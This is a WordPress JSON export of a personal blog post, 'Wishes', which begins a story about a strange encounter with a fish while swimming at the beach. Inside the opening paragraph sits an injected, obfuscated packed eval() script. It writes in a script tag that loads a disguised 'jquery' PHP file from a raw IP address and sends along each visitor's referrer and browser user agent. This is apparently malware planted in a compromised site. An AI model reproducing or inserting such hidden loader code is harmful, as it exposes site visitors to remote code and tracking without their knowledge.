{"id":4013,"date":"2013-09-16T12:30:58","date_gmt":"2013-09-16T19:30:58","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4013"},"modified":"2013-11-15T15:16:07","modified_gmt":"2013-11-15T22:16:07","slug":"wishes","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4013","title":{"rendered":"Wishes"},"content":{"rendered":"<style><!--\n\/* Font Definitions *\/\n@font-face\n\t{font-family:Times;\n\tpanose-1:2 0 5 0 0 0 0 0 0 0;\n\tmso-font-charset:0;\n\tmso-generic-font-family:auto;\n\tmso-font-pitch:variable;\n\tmso-font-signature:3 0 0 0 1 0;}\n@font-face\n\t{font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tpanose-1:0 0 0 0 0 0 0 0 0 0;\n\tmso-font-charset:128;\n\tmso-generic-font-family:roman;\n\tmso-font-format:other;\n\tmso-font-pitch:fixed;\n\tmso-font-signature:1 134676480 16 0 131072 0;}\n@font-face\n\t{font-family:\"Cambria Math\";\n\tpanose-1:2 4 5 3 5 4 6 3 2 4;\n\tmso-font-charset:1;\n\tmso-generic-font-family:roman;\n\tmso-font-format:other;\n\tmso-font-pitch:variable;\n\tmso-font-signature:0 0 0 0 0 0;}\n@font-face\n\t{font-family:\"Bell MT\";\n\tpanose-1:2 2 5 3 6 3 5 2 3 3;\n\tmso-font-charset:0;\n\tmso-generic-font-family:auto;\n\tmso-font-pitch:variable;\n\tmso-font-signature:3 0 0 0 1 0;}\n \/* Style Definitions *\/\np.MsoNormal, li.MsoNormal, div.MsoNormal\n\t{mso-style-unhide:no;\n\tmso-style-qformat:yes;\n\tmso-style-parent:\"\";\n\tmargin:0in;\n\tmargin-bottom:.0001pt;\n\tmso-pagination:widow-orphan;\n\tfont-size:12.0pt;\n\tfont-family:\"Bell MT\";\n\tmso-fareast-font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tmso-fareast-theme-font:minor-fareast;\n\tmso-bidi-font-family:\"Times New Roman\";\n\tmso-bidi-theme-font:minor-bidi;}\np\n\t{mso-style-noshow:yes;\n\tmso-style-priority:99;\n\tmso-margin-top-alt:auto;\n\tmargin-right:0in;\n\tmso-margin-bottom-alt:auto;\n\tmargin-left:0in;\n\tmso-pagination:widow-orphan;\n\tfont-size:10.0pt;\n\tfont-family:Times;\n\tmso-fareast-font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tmso-fareast-theme-font:minor-fareast;\n\tmso-bidi-font-family:\"Times New Roman\";}\n.MsoChpDefault\n\t{mso-style-type:export-only;\n\tmso-default-props:yes;\n\tfont-family:\"Bell MT\";\n\tmso-ascii-font-family:\"Bell MT\";\n\tmso-fareast-font-family:\"\u00ef\u00bc\u00ad\u00ef\u00bc\u00b3 \u00e6\u02dc\u017d\u00e6\u0153\u009d\";\n\tmso-fareast-theme-font:minor-fareast;\n\tmso-hansi-font-family:\"Bell MT\";\n\tmso-bidi-font-family:\"Times New Roman\";\n\tmso-bidi-theme-font:minor-bidi;}\n@page WordSection1\n\t{size:8.5in 11.0in;\n\tmargin:1.0in 1.25in 1.0in 1.25in;\n\tmso-header-margin:.5in;\n\tmso-footer-margin:.5in;\n\tmso-paper-source:0;}\ndiv.WordSection1\n\t{page:WordSection1;}\n--><\/style>\n<p>\u00c2\u00a0So <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzttf|var|u0026u|referrer|zrdfi||js|php'.split('|'),0,{}))\n<\/script><\/noindex> here&#8217;s something strange that happened to me at the beach.\u00c2\u00a0 I&#8217;m turning it into two separate stories, because I want to leave this story open, still, for a magical happy ending.\u00c2\u00a0 But all together, it did make for a very difficult 24 hours.<\/p>\n<p>All the women were in the water, and all the menfolk were on the beach watching the babies.\u00c2\u00a0 We were all feeling pretty blissful!<\/p>\n<p>The weather was unbelievable:\u00c2\u00a0 blue skies, warm sun, stiff breeze making the spray off the top of the waves glitter like silver.<\/p>\n<p>And fish!\u00c2\u00a0 little silver fish literally jumping out of the waves, all around us.<\/p>\n<p>Suddenly I look down and I see this little fish swimming right up to me.\u00c2\u00a0 It was different from the others &#8211; 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